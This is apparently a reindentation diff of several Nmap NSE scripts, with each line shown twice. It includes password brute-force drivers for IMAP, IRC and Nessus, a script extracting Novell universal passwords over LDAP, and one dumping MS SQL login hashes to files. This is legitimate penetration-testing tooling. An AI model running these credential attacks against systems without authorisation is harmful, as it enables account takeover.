if ( m == "LOGIN" and not(capabilities.LOGINDISABLED)) then
mech = "LOGIN"
break
elseif ( capabilities["AUTH=" .. m] ) then
mech = m
break
end
end
-- if no mechanisms were found, abort
if ( not(mech) ) then
return "\n ERROR: No suitable authentication mechanism was found"
end
-- if no mechanisms were found, abort
if ( not(mech) ) then
return "\n ERROR: No suitable authentication mechanism was found"
end
local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME
local result
status, result = engine:start()
local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME
local result
status, result = engine:start()
for _, helper in pairs(ConnectionPool) do helper:close() end
for _, helper in pairs(ConnectionPool) do helper:close() end
return result
return result
end

View File

@@ -38,54 +38,54 @@ portrule = shortport.port_or_service({6666,6667,6697,6679},{"irc","ircs"})
Driver = {
new = function(self, host, port, opts)
local o = { host = host, port = port, opts = opts or {} }
setmetatable(o, self)
self.__index = self
return o
end,
new = function(self, host, port, opts)
local o = { host = host, port = port, opts = opts or {} }
setmetatable(o, self)
self.__index = self
return o
end,
connect = function(self)
-- the high timeout should take delays from ident into consideration
local s, r, opts, _ = comm.tryssl(self.host,
self.port,
'',
{ timeout = self.opts.timeout or 10000 } )
if ( not(s) ) then
return false, "Failed to connect to server"
end
self.socket = s
return true
end,
connect = function(self)
-- the high timeout should take delays from ident into consideration
local s, r, opts, _ = comm.tryssl(self.host,
self.port,
'',
{ timeout = self.opts.timeout or 10000 } )
if ( not(s) ) then
return false, "Failed to connect to server"
end
self.socket = s
return true
end,
login = function(self, _, password)
local msg = ("PASS %s\r\nNICK nmap_brute\r\nUSER anonymous 0 * :Nmap brute\r\n"):format(password)
local status, data = self.socket:send(msg)
local success = false
login = function(self, _, password)
local msg = ("PASS %s\r\nNICK nmap_brute\r\nUSER anonymous 0 * :Nmap brute\r\n"):format(password)
local status, data = self.socket:send(msg)
local success = false
if ( not(status) ) then
local err = brute.Error:new( data )
-- This might be temporary, set the retry flag
err:setRetry( true )
return false, err
end
if ( not(status) ) then
local err = brute.Error:new( data )
-- This might be temporary, set the retry flag
err:setRetry( true )
return false, err
end
repeat
local status, response = self.socket:receive_buf("\r?\n", false)
-- we check for the RPL_WELCOME message, if we don't see it,
-- we failed to authenticate
if ( status and response:match("^:.-%s(%d*)%s") == "001" ) then
success = true
end
until(not(status))
repeat
local status, response = self.socket:receive_buf("\r?\n", false)
-- we check for the RPL_WELCOME message, if we don't see it,
-- we failed to authenticate
if ( status and response:match("^:.-%s(%d*)%s") == "001" ) then
success = true
end
until(not(status))
if (success) then
return true, brute.Account:new("", password, creds.State.VALID)
end
return false, brute.Error:new("Incorrect password")
end,
if (success) then
return true, brute.Account:new("", password, creds.State.VALID)
end
return false, brute.Error:new("Incorrect password")
end,
disconnect = function(self) return self.socket:close() end,
disconnect = function(self) return self.socket:close() end,
}
local function random_nick()
@@ -97,48 +97,48 @@ local function random_nick()
end
local function needsPassword(host, port)
local msg = ("NICK %s\r\nUSER anonymous 0 * :Nmap brute\r\n"):format(random_nick())
local s, r, opts, _ = comm.tryssl(host, port, msg, { timeout = 15000 } )
local err, code
local msg = ("NICK %s\r\nUSER anonymous 0 * :Nmap brute\r\n"):format(random_nick())
local s, r, opts, _ = comm.tryssl(host, port, msg, { timeout = 15000 } )
local err, code
repeat
local status, response = s:receive_buf("\r?\n", false)
if ( status ) then
code = tonumber(response:match("^:.-%s(%d*)%s"))
-- break after first code
if (code == 001 ) then
err = "The IRC service does not require authentication"
break
elseif( code ) then
break
end
end
until(not(status))
if (code == 464) then
return true
end
if ( code ) then
return false, ("Failed to check password requirements, unknown code (%d)"):format(code)
else
return false, "Failed to check password requirements"
end
repeat
local status, response = s:receive_buf("\r?\n", false)
if ( status ) then
code = tonumber(response:match("^:.-%s(%d*)%s"))
-- break after first code
if (code == 001 ) then
err = "The IRC service does not require authentication"
break
elseif( code ) then
break
end
end
until(not(status))
if (code == 464) then
return true
end
if ( code ) then
return false, ("Failed to check password requirements, unknown code (%d)"):format(code)
else
return false, "Failed to check password requirements"
end
end
action = function(host, port)
local status, err = needsPassword(host, port)
if ( not(status) ) then
return stdnse.format_output(false, err)
end
local status, err = needsPassword(host, port)
if ( not(status) ) then
return stdnse.format_output(false, err)
end
local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME
engine.options.firstonly = true
engine.options.passonly = true
local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME
engine.options.firstonly = true
engine.options.passonly = true
local result
status, result = engine:start()
status, result = engine:start()
return result
return result
end

View File

@@ -54,86 +54,86 @@ portrule = shortport.port_or_service({389,636}, {"ldap","ldapssl"})
function action(host,port)
local username = stdnse.get_script_args("ldap-novell-getpass.username")
local password = stdnse.get_script_args("ldap-novell-getpass.password") or ""
local account = stdnse.get_script_args("ldap-novell-getpass.account")
local username = stdnse.get_script_args("ldap-novell-getpass.username")
local password = stdnse.get_script_args("ldap-novell-getpass.password") or ""
local account = stdnse.get_script_args("ldap-novell-getpass.account")
if ( not(username) ) then
return "\n ERROR: No username was supplied (ldap-novell-getpass.username)"
end
if ( not(account) ) then
return "\n ERROR: No account was supplied (ldap-novell-getpass.account)"
else
-- do some basic account validation
if ( not(account:match("^[Cc][Nn]=.*,") ) ) then
return "\n ERROR: The account argument should be specified as:\n" ..
" \"CN=name,OU=orgunit,O=org\""
end
end
if ( not(username) ) then
return "\n ERROR: No username was supplied (ldap-novell-getpass.username)"
end
if ( not(account) ) then
return "\n ERROR: No account was supplied (ldap-novell-getpass.account)"
else
-- do some basic account validation
if ( not(account:match("^[Cc][Nn]=.*,") ) ) then
return "\n ERROR: The account argument should be specified as:\n" ..
" \"CN=name,OU=orgunit,O=org\""
end
end
-- In order to discover what protocol to use (SSL/TCP) we need to send a
-- few bytes to the server. An anonymous bind should do it
local anon_bind = bin.pack("H", "300c020101600702010304008000" )
local socket, _, opt = comm.tryssl( host, port, anon_bind, nil )
if ( not(socket) ) then
return "\n ERROR: Failed to connect to LDAP server"
end
-- In order to discover what protocol to use (SSL/TCP) we need to send a
-- few bytes to the server. An anonymous bind should do it
local anon_bind = bin.pack("H", "300c020101600702010304008000" )
local socket, _, opt = comm.tryssl( host, port, anon_bind, nil )
if ( not(socket) ) then
return "\n ERROR: Failed to connect to LDAP server"
end
local status, errmsg = ldap.bindRequest( socket, {
version = 3,
username = username,
password = password
}
)
local status, errmsg = ldap.bindRequest( socket, {
version = 3,
username = username,
password = password
}
)
if ( not(status) ) then return errmsg end
if ( not(status) ) then return errmsg end
-- Start encoding the NMAS Get Password Request
local NMASLDAP_GET_PASSWORD_REQUEST = "2.16.840.1.113719.1.39.42.100.13"
local NMASLDAP_GET_PASSWORD_RESPONSE = "2.16.840.1.113719.1.39.42.100.14"
-- Add a trailing zero to the account name
local data = ldap.encode( account .. '\0' )
-- Start encoding the NMAS Get Password Request
local NMASLDAP_GET_PASSWORD_REQUEST = "2.16.840.1.113719.1.39.42.100.13"
local NMASLDAP_GET_PASSWORD_RESPONSE = "2.16.840.1.113719.1.39.42.100.14"
-- Add a trailing zero to the account name
local data = ldap.encode( account .. '\0' )
-- The following section could do with more documentation
-- It's based on packet dumps from the getpass utility available from Novell Cool Solutions
-- encode the account name as a sequence
data = ldap.encode( { _ldaptype = '30', bin.pack("H", "020101") .. data } )
data = ldap.encode( { _ldaptype = '81', data } )
data = ldap.encode( { _ldaptype = '80', NMASLDAP_GET_PASSWORD_REQUEST } ) .. data
data = ldap.encode( { _ldaptype = '77', data } )
-- The following section could do with more documentation
-- It's based on packet dumps from the getpass utility available from Novell Cool Solutions
-- encode the account name as a sequence
data = ldap.encode( { _ldaptype = '30', bin.pack("H", "020101") .. data } )
data = ldap.encode( { _ldaptype = '81', data } )
data = ldap.encode( { _ldaptype = '80', NMASLDAP_GET_PASSWORD_REQUEST } ) .. data
data = ldap.encode( { _ldaptype = '77', data } )
-- encode the whole extended request as a sequence
data = ldap.encode( { _ldaptype = '30', bin.pack("H", "020102") .. data } )
-- encode the whole extended request as a sequence
data = ldap.encode( { _ldaptype = '30', bin.pack("H", "020102") .. data } )
status = socket:send(data)
if ( not(status) ) then return "ERROR: Failed to send request" end
status = socket:send(data)
if ( not(status) ) then return "ERROR: Failed to send request" end
status, data = socket:receive()
if ( not(status) ) then return data end
socket:close()
status, data = socket:receive()
if ( not(status) ) then return data end
socket:close()
local _, response = ldap.decode(data)
local _, response = ldap.decode(data)
-- make sure the result code was a success
local rescode = ( #response >= 2 ) and response[2]
local respname = ( #response >= 5 ) and response[5]
-- make sure the result code was a success
local rescode = ( #response >= 2 ) and response[2]
local respname = ( #response >= 5 ) and response[5]
if ( rescode ~= 0 ) then
local errmsg = ( #response >= 4 ) and response[4] or "An unknown error occured"
return "\n ERROR: " .. errmsg
end
if ( rescode ~= 0 ) then
local errmsg = ( #response >= 4 ) and response[4] or "An unknown error occured"
return "\n ERROR: " .. errmsg
end
-- make sure we get a NMAS Get Password Response back from the server
if ( respname ~= NMASLDAP_GET_PASSWORD_RESPONSE ) then return end
-- make sure we get a NMAS Get Password Response back from the server
if ( respname ~= NMASLDAP_GET_PASSWORD_RESPONSE ) then return end
local universal_pw = ( #response >= 6 and #response[6] >= 3 ) and response[6][3]
local universal_pw = ( #response >= 6 and #response[6] >= 3 ) and response[6][3]
if ( universal_pw ) then
local output = {}
table.insert(output, ("Account: %s"):format(account))
table.insert(output, ("Password: %s"):format(universal_pw))
return stdnse.format_output(true, output)
else
return "\n ERROR: No password was found"
end
if ( universal_pw ) then
local output = {}
table.insert(output, ("Account: %s"):format(account))
table.insert(output, ("Password: %s"):format(universal_pw))
return stdnse.format_output(true, output)
else
return "\n ERROR: No password was found"
end
end

View File

@@ -100,58 +100,58 @@ portrule = shortport.port_or_service({389,636}, {"ldap","ldapssl"})
function action(host,port)
local socket = nmap.new_socket()
local status, searchResEntries, req, result, opt
local socket = nmap.new_socket()
local status, searchResEntries, req, result, opt
-- In order to discover what protocol to use (SSL/TCP) we need to send a few bytes to the server
-- An anonymous bind should do it
local ldap_anonymous_bind = string.char( 0x30, 0x0c, 0x02, 0x01, 0x01, 0x60, 0x07, 0x02, 0x01, 0x03, 0x04, 0x00, 0x80, 0x00 )
local _
socket, _, opt = comm.tryssl( host, port, ldap_anonymous_bind, nil )
-- In order to discover what protocol to use (SSL/TCP) we need to send a few bytes to the server
-- An anonymous bind should do it
local ldap_anonymous_bind = string.char( 0x30, 0x0c, 0x02, 0x01, 0x01, 0x60, 0x07, 0x02, 0x01, 0x03, 0x04, 0x00, 0x80, 0x00 )
local _
socket, _, opt = comm.tryssl( host, port, ldap_anonymous_bind, nil )
if not socket then
return
end
if not socket then
return
end
-- We close and re-open the socket so that the anonymous bind does not distract us
socket:close()
status = socket:connect(host, port, opt)
socket:set_timeout(10000)
-- We close and re-open the socket so that the anonymous bind does not distract us
socket:close()
status = socket:connect(host, port, opt)
socket:set_timeout(10000)
-- Searching for an empty argument list against LDAP on W2K3 returns all attributes
-- This is not the case for OpenLDAP, so we do a search for an empty attribute list
-- Then we compare the results against some known and expected returned attributes
req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default }
status, searchResEntries = ldap.searchRequest( socket, req )
-- Searching for an empty argument list against LDAP on W2K3 returns all attributes
-- This is not the case for OpenLDAP, so we do a search for an empty attribute list
-- Then we compare the results against some known and expected returned attributes
req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default }
status, searchResEntries = ldap.searchRequest( socket, req )
-- Check if we were served all the results or not?
if not ldap.extractAttribute( searchResEntries, "namingContexts" ) and
not ldap.extractAttribute( searchResEntries, "supportedLDAPVersion" ) then
-- Check if we were served all the results or not?
if not ldap.extractAttribute( searchResEntries, "namingContexts" ) and
not ldap.extractAttribute( searchResEntries, "supportedLDAPVersion" ) then
-- The namingContexts was not there, try to query all attributes instead
-- Attributes extracted from Windows 2003 and complemented from RFC
local attribs = {"_domainControllerFunctionality","configurationNamingContext","currentTime","defaultNamingContext",
"dnsHostName","domainFunctionality","dsServiceName","forestFunctionality","highestCommittedUSN",
"isGlobalCatalogReady","isSynchronized","ldap-get-baseobject","ldapServiceName","namingContexts",
"rootDomainNamingContext","schemaNamingContext","serverName","subschemaSubentry",
"supportedCapabilities","supportedControl","supportedLDAPPolicies","supportedLDAPVersion",
"supportedSASLMechanisms", "altServer", "supportedExtension"}
-- The namingContexts was not there, try to query all attributes instead
-- Attributes extracted from Windows 2003 and complemented from RFC
local attribs = {"_domainControllerFunctionality","configurationNamingContext","currentTime","defaultNamingContext",
"dnsHostName","domainFunctionality","dsServiceName","forestFunctionality","highestCommittedUSN",
"isGlobalCatalogReady","isSynchronized","ldap-get-baseobject","ldapServiceName","namingContexts",
"rootDomainNamingContext","schemaNamingContext","serverName","subschemaSubentry",
"supportedCapabilities","supportedControl","supportedLDAPPolicies","supportedLDAPVersion",
"supportedSASLMechanisms", "altServer", "supportedExtension"}
req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = attribs }
status, searchResEntries = ldap.searchRequest( socket, req )
end
req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = attribs }
status, searchResEntries = ldap.searchRequest( socket, req )
end
if not status then
socket:close()
return
end
if not status then
socket:close()
return
end
result = ldap.searchResultToTable( searchResEntries )
socket:close()
result = ldap.searchResultToTable( searchResEntries )
socket:close()
-- if taken a way and ldap returns a single result, it ain't shown....
result.name = "LDAP Results"
-- if taken a way and ldap returns a single result, it ain't shown....
result.name = "LDAP Results"
return stdnse.format_output(true, result )
return stdnse.format_output(true, result )
end

View File

@@ -45,106 +45,106 @@ portrule = shortport.port_or_service(8091, "http", "tcp")
local function fail(err) return ("\n ERROR: %s"):format(err) end
local filter = {
["parsed[1]['nodes'][1]['os']"] = { name = "OS" },
["parsed[1]['nodes'][1]['version']"] = { name = "Version" },
["parsed[1]['nodes'][1]['hostname']"] = { name = "Hostname" },
["parsed[1]['nodes'][1]['status']"] = { name = "Status" },
["parsed[1]['nodes'][1]['uptime']"] = { name = "Uptime" },
["parsed[1]['nodes'][1]['memoryTotal']"] = { name = "Total memory" },
["parsed[1]['nodes'][1]['memoryFree']"] = { name = "Free memory" },
["parsed[1]['vBucketServerMap']['serverList']"] = { name = "Server list" },
["parsed['componentsVersion']['kernel']"] = { name = "Kernel version" },
["parsed['componentsVersion']['mnesia']"] = { name = "Mnesia version" },
["parsed['componentsVersion']['stdlib']"] = { name = "Stdlib version" },
["parsed['componentsVersion']['os_mon']"] = { name = "OS mon version" },
["parsed['componentsVersion']['ns_server']"] = { name = "NS server version" },
["parsed['componentsVersion']['sasl']"] = { name = "SASL version" },
["parsed[1]['nodes'][1]['os']"] = { name = "OS" },
["parsed[1]['nodes'][1]['version']"] = { name = "Version" },
["parsed[1]['nodes'][1]['hostname']"] = { name = "Hostname" },
["parsed[1]['nodes'][1]['status']"] = { name = "Status" },
["parsed[1]['nodes'][1]['uptime']"] = { name = "Uptime" },
["parsed[1]['nodes'][1]['memoryTotal']"] = { name = "Total memory" },
["parsed[1]['nodes'][1]['memoryFree']"] = { name = "Free memory" },
["parsed[1]['vBucketServerMap']['serverList']"] = { name = "Server list" },
["parsed['componentsVersion']['kernel']"] = { name = "Kernel version" },
["parsed['componentsVersion']['mnesia']"] = { name = "Mnesia version" },
["parsed['componentsVersion']['stdlib']"] = { name = "Stdlib version" },
["parsed['componentsVersion']['os_mon']"] = { name = "OS mon version" },
["parsed['componentsVersion']['ns_server']"] = { name = "NS server version" },
["parsed['componentsVersion']['sasl']"] = { name = "SASL version" },
}
local order = {
"parsed[1]['nodes'][1]['hostname']",
"parsed[1]['nodes'][1]['os']",
"parsed[1]['nodes'][1]['version']",
"parsed['componentsVersion']['kernel']",
"parsed['componentsVersion']['mnesia']",
"parsed['componentsVersion']['stdlib']",
"parsed['componentsVersion']['os_mon']",
"parsed['componentsVersion']['ns_server']",
"parsed['componentsVersion']['sasl']",
"parsed[1]['nodes'][1]['status']",
"parsed[1]['nodes'][1]['uptime']",
"parsed[1]['nodes'][1]['memoryTotal']",
"parsed[1]['nodes'][1]['memoryFree']",
"parsed[1]['vBucketServerMap']['serverList']",
"parsed[1]['nodes'][1]['hostname']",
"parsed[1]['nodes'][1]['os']",
"parsed[1]['nodes'][1]['version']",
"parsed['componentsVersion']['kernel']",
"parsed['componentsVersion']['mnesia']",
"parsed['componentsVersion']['stdlib']",
"parsed['componentsVersion']['os_mon']",
"parsed['componentsVersion']['ns_server']",
"parsed['componentsVersion']['sasl']",
"parsed[1]['nodes'][1]['status']",
"parsed[1]['nodes'][1]['uptime']",
"parsed[1]['nodes'][1]['memoryTotal']",
"parsed[1]['nodes'][1]['memoryFree']",
"parsed[1]['vBucketServerMap']['serverList']",
}
local function cmdReq(host, port, url, result)
local response = http.get(host, port, url)
local response = http.get(host, port, url)
if ( 200 ~= response.status ) or ( response.header['server'] == nil ) then
return false
end
if ( 200 ~= response.status ) or ( response.header['server'] == nil ) then
return false
end
if ( response.header['server'] and
not( response.header['server']:match("^Couchbase Server") or response.header['server']:match("^Membase Server") ) ) then
return false
end
if ( response.header['server'] and
not( response.header['server']:match("^Couchbase Server") or response.header['server']:match("^Membase Server") ) ) then
return false
end
local status, parsed = json.parse(response.body)
if ( not(status) ) then
return false, "Failed to parse response from server"
end
local status, parsed = json.parse(response.body)
if ( not(status) ) then
return false, "Failed to parse response from server"
end
result = result or {}
for item in pairs(filter) do
local var, val = ""
for x in item:gmatch("(.-%])") do
var = var .. x
local env = setmetatable({parsed=parsed}, {__index = _G})
local func = load("return " .. var, nil, "t", env)
result = result or {}
for item in pairs(filter) do
local var, val = ""
for x in item:gmatch("(.-%])") do
var = var .. x
local env = setmetatable({parsed=parsed}, {__index = _G})
local func = load("return " .. var, nil, "t", env)
if ( not(func()) ) then
val = nil
break
end
val = func()
end
if ( not(func()) ) then
val = nil
break
end
val = func()
end
if ( val ) then
local name = filter[item].name
val = ( "table" == type(val) and stdnse.strjoin(",", val) or val )
result[item] = { name = name, value = val }
end
end
return true, result
if ( val ) then
local name = filter[item].name
val = ( "table" == type(val) and stdnse.strjoin(",", val) or val )
result[item] = { name = name, value = val }
end
end
return true, result
end
action = function(host, port)
-- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
local _, http_status, _ = http.identify_404(host,port)
if ( http_status == 200 ) then
stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number)
return false
end
-- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
local _, http_status, _ = http.identify_404(host,port)
if ( http_status == 200 ) then
stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number)
return false
end
local urls = { "/pools/default/buckets", "/pools" }
local urls = { "/pools/default/buckets", "/pools" }
local status, result
for _, u in ipairs(urls) do
status, result = cmdReq(host, port, u, result)
end
local status, result
for _, u in ipairs(urls) do
status, result = cmdReq(host, port, u, result)
end
if ( not(result) or not(next(result)) ) then
return
end
if ( not(result) or not(next(result)) ) then
return
end
local output = tab.new(2)
for _, item in ipairs(order) do
if ( result[item] ) then
tab.addrow(output, result[item].name, result[item].value)
end
end
local output = tab.new(2)
for _, item in ipairs(order) do
if ( result[item] ) then
tab.addrow(output, result[item].name, result[item].value)
end
end
return stdnse.format_output(true, tab.dump(output))
return stdnse.format_output(true, tab.dump(output))
end

View File

@@ -43,46 +43,46 @@ portrule = mssql.Helper.GetPortrule_Standard()
local function process_instance(instance)
local helper = mssql.Helper:new()
local status, errorMessage = helper:ConnectEx( instance )
if ( not(status) ) then
return false, {
['name'] = string.format( "[%s]", instance:GetName() ),
"ERROR: " .. errorMessage
}
end
local helper = mssql.Helper:new()
local status, errorMessage = helper:ConnectEx( instance )
if ( not(status) ) then
return false, {
['name'] = string.format( "[%s]", instance:GetName() ),
"ERROR: " .. errorMessage
}
end
status, errorMessage = helper:LoginEx( instance )
if ( not(status) ) then
return false, {
['name'] = string.format( "[%s]", instance:GetName() ),
"ERROR: " .. errorMessage
}
end
status, errorMessage = helper:LoginEx( instance )
if ( not(status) ) then
return false, {
['name'] = string.format( "[%s]", instance:GetName() ),
"ERROR: " .. errorMessage
}
end
local result
local query = [[
IF ( OBJECT_ID('master..sysxlogins' ) ) <> 0
SELECT name, password FROM master..sysxlogins WHERE password IS NOT NULL
ELSE IF ( OBJECT_ID('master.sys.sql_logins') ) <> 0
SELECT name, password_hash FROM master.sys.sql_logins
]]
status, result = helper:Query( query )
local result
local query = [[
IF ( OBJECT_ID('master..sysxlogins' ) ) <> 0
SELECT name, password FROM master..sysxlogins WHERE password IS NOT NULL
ELSE IF ( OBJECT_ID('master.sys.sql_logins') ) <> 0
SELECT name, password_hash FROM master.sys.sql_logins
]]
status, result = helper:Query( query )
local output = {}
local output = {}
if ( status ) then
for _, row in ipairs( result.rows ) do
table.insert(output, ("%s:%s"):format(row[1] or "",row[2] or "") )
end
if ( status ) then
for _, row in ipairs( result.rows ) do
table.insert(output, ("%s:%s"):format(row[1] or "",row[2] or "") )
end
end
helper:Disconnect()
local instanceOutput = {}
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
table.insert( instanceOutput, output )
helper:Disconnect()
local instanceOutput = {}
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
table.insert( instanceOutput, output )
return true, instanceOutput
return true, instanceOutput
end
@@ -92,44 +92,44 @@ end
-- @return status true on success, false on failure
-- @return err string containing the error if status is false
local function saveToFile(filename, response)
local f = io.open( filename, "w")
if ( not(f) ) then
return false, ("Failed to open file (%s)"):format(filename)
end
for _, row in ipairs(response) do
if ( not(f:write(row .."\n" ) ) ) then
return false, ("Failed to write file (%s)"):format(filename)
end
end
f:close()
return true
local f = io.open( filename, "w")
if ( not(f) ) then
return false, ("Failed to open file (%s)"):format(filename)
end
for _, row in ipairs(response) do
if ( not(f:write(row .."\n" ) ) ) then
return false, ("Failed to write file (%s)"):format(filename)
end
end
f:close()
return true
end
action = function( host, port )
local dir = stdnse.get_script_args("ms-sql-dump-hashes.dir")
local scriptOutput = {}
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
local dir = stdnse.get_script_args("ms-sql-dump-hashes.dir")
local scriptOutput = {}
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
if ( not status ) then
return stdnse.format_output( false, instanceList )
else
for _, instance in pairs( instanceList ) do
local status, instanceOutput = process_instance( instance )
if ( status ) then
local filename
if ( dir ) then
local instance = instance:GetName():match("%\\+(.+)$") or instance:GetName()
filename = dir .. "/" .. stdnse.filename_escape(("%s_%s_ms-sql_hashes.txt"):format(host.ip, instance))
saveToFile(filename, instanceOutput[1])
end
end
table.insert( scriptOutput, instanceOutput )
end
end
if ( not status ) then
return stdnse.format_output( false, instanceList )
else
for _, instance in pairs( instanceList ) do
local status, instanceOutput = process_instance( instance )
if ( status ) then
local filename
if ( dir ) then
local instance = instance:GetName():match("%\\+(.+)$") or instance:GetName()
filename = dir .. "/" .. stdnse.filename_escape(("%s_%s_ms-sql_hashes.txt"):format(host.ip, instance))
saveToFile(filename, instanceOutput[1])
end
end
table.insert( scriptOutput, instanceOutput )
end
end
if ( #scriptOutput == 0 ) then return end
if ( #scriptOutput == 0 ) then return end
local output = ( #scriptOutput > 1 and scriptOutput or scriptOutput[1] )
local output = ( #scriptOutput > 1 and scriptOutput or scriptOutput[1] )
return stdnse.format_output( true, output )
return stdnse.format_output( true, output )
end

View File

@@ -39,115 +39,115 @@ portrule = shortport.port_or_service(1241, "nessus", "tcp")
Driver =
{
new = function(self, host, port)
local o = { host = host, port = port }
setmetatable(o, self)
self.__index = self
return o
end,
new = function(self, host, port)
local o = { host = host, port = port }
setmetatable(o, self)
self.__index = self
return o
end,
connect = function( self )
self.socket = nmap.new_socket()
if ( not(self.socket:connect(self.host, self.port, "ssl")) ) then
return false
end
return true
end,
connect = function( self )
self.socket = nmap.new_socket()
if ( not(self.socket:connect(self.host, self.port, "ssl")) ) then
return false
end
return true
end,
login = function( self, username, password )
local handshake = "< NTP/1.2 >< plugins_cve_id plugins_version timestamps dependencies fast_login >\n"
login = function( self, username, password )
local handshake = "< NTP/1.2 >< plugins_cve_id plugins_version timestamps dependencies fast_login >\n"
local status, err = self.socket:send(handshake)
if ( not(status) ) then
local err = brute.Error:new( "Failed to send handshake to server" )
err:setAbort(true)
return false, err
end
local status, err = self.socket:send(handshake)
if ( not(status) ) then
local err = brute.Error:new( "Failed to send handshake to server" )
err:setAbort(true)
return false, err
end
local line
status, line = self.socket:receive_buf("\r?\n", false)
if ( not(status) or line ~= "< NTP/1.2 >" ) then
local err = brute.Error:new( "The server failed to respond to handshake" )
err:setAbort( true )
return false, err
end
local line
status, line = self.socket:receive_buf("\r?\n", false)
if ( not(status) or line ~= "< NTP/1.2 >" ) then
local err = brute.Error:new( "The server failed to respond to handshake" )
err:setAbort( true )
return false, err
end
status, line = self.socket:receive()
if ( not(status) or line ~= "User : ") then
local err = brute.Error:new( "Expected \"User : \", got something else" )
err:setRetry( true )
return false, err
end
status, line = self.socket:receive()
if ( not(status) or line ~= "User : ") then
local err = brute.Error:new( "Expected \"User : \", got something else" )
err:setRetry( true )
return false, err
end
status = self.socket:send(username .. "\n")
if ( not(status) ) then
local err = brute.Error:new( "Failed to send username to server" )
err:setAbort( true )
return false, err
end
status = self.socket:send(username .. "\n")
if ( not(status) ) then
local err = brute.Error:new( "Failed to send username to server" )
err:setAbort( true )
return false, err
end
status, line = self.socket:receive()
if ( not(status) or line ~= "Password : ") then
local err = brute.Error:new( "Expected \"Password : \", got something else" )
err:setRetry( true )
return false, err
end
status, line = self.socket:receive()
if ( not(status) or line ~= "Password : ") then
local err = brute.Error:new( "Expected \"Password : \", got something else" )
err:setRetry( true )
return false, err
end
status = self.socket:send(password)
if ( not(status) ) then
local err = brute.Error:new( "Failed to send password to server" )
err:setAbort( true )
return false, err
end
status = self.socket:send(password)
if ( not(status) ) then
local err = brute.Error:new( "Failed to send password to server" )
err:setAbort( true )
return false, err
end
-- the line feed has to be sent separate like this, otherwise we don't
-- receive the server response and the server simply hangs up
status = self.socket:send("\n")
if ( not(status) ) then
local err = brute.Error:new( "Failed to send password to server" )
err:setAbort( true )
return false, err
end
-- the line feed has to be sent separate like this, otherwise we don't
-- receive the server response and the server simply hangs up
status = self.socket:send("\n")
if ( not(status) ) then
local err = brute.Error:new( "Failed to send password to server" )
err:setAbort( true )
return false, err
end
-- we force a brief incorrect statement just to get an error message to
-- confirm that we've succesfully authenticated to the server
local bad_cli_pref = "CLIENT <|> PREFERENCES <|>\n<|> CLIENT\n"
status = self.socket:send(bad_cli_pref)
if ( not(status) ) then
local err = brute.Error:new( "Failed to send bad client preferences packet to server" )
err:setAbort( true )
return false, err
end
-- we force a brief incorrect statement just to get an error message to
-- confirm that we've succesfully authenticated to the server
local bad_cli_pref = "CLIENT <|> PREFERENCES <|>\n<|> CLIENT\n"
status = self.socket:send(bad_cli_pref)
if ( not(status) ) then
local err = brute.Error:new( "Failed to send bad client preferences packet to server" )
err:setAbort( true )
return false, err
end
-- if the server disconnects us at this point, it's most likely due to
-- that the authentication failed, so simply treat it as an incorrect
-- password, rather than abort.
status, line = self.socket:receive()
if ( not(status) ) then
return false, brute.Error:new( "Incorrect password" )
end
-- if the server disconnects us at this point, it's most likely due to
-- that the authentication failed, so simply treat it as an incorrect
-- password, rather than abort.
status, line = self.socket:receive()
if ( not(status) ) then
return false, brute.Error:new( "Incorrect password" )
end
if ( line:match("SERVER <|> PREFERENCES_ERRORS <|>") ) then
return true, brute.Account:new(username, password, creds.State.VALID)
end
if ( line:match("SERVER <|> PREFERENCES_ERRORS <|>") ) then
return true, brute.Account:new(username, password, creds.State.VALID)
end
return false, brute.Error:new( "Incorrect password" )
end,
return false, brute.Error:new( "Incorrect password" )
end,
disconnect = function( self )
self.socket:close()
end,
disconnect = function( self )
self.socket:close()
end,
}
action = function(host, port)
local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME
local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME
-- the nessus service doesn't appear to do very well with multiple threads
engine:setMaxThreads(1)
local status, result = engine:start()
-- the nessus service doesn't appear to do very well with multiple threads
engine:setMaxThreads(1)
local status, result = engine:start()
return result
return result
end

View File

@@ -40,103 +40,103 @@ portrule = shortport.port_or_service(6379, "redis")
local function fail(err) return ("\n ERROR: %s"):format(err) end
local function cb_parse_version(host, port, val)
port.version.version = val
port.version.cpe = port.version.cpe or {}
table.insert(port.version.cpe, 'cpe:/a:redis:redis:' .. val)
nmap.set_port_version(host, port)
return val
port.version.version = val
port.version.cpe = port.version.cpe or {}
table.insert(port.version.cpe, 'cpe:/a:redis:redis:' .. val)
nmap.set_port_version(host, port)
return val
end
local function cb_parse_architecture(host, port, val)
val = ("%s bits"):format(val)
port.version.extrainfo = val
nmap.set_port_version(host, port)
return val
val = ("%s bits"):format(val)
port.version.extrainfo = val
nmap.set_port_version(host, port)
return val
end
local filter = {
["redis_version"] = { name = "Version", func = cb_parse_version },
["os"] = { name = "Operating System" },
["arch_bits"] = { name = "Architecture", func = cb_parse_architecture },
["process_id"] = { name = "Process ID"},
["uptime"] = { name = "Uptime", func = function(h, p, v) return ("%s seconds"):format(v) end },
["used_cpu_sys"]= { name = "Used CPU (sys)"},
["used_cpu_user"] = { name = "Used CPU (user)"},
["connected_clients"] = { name = "Connected clients"},
["connected_slaves"] = { name = "Connected slaves"},
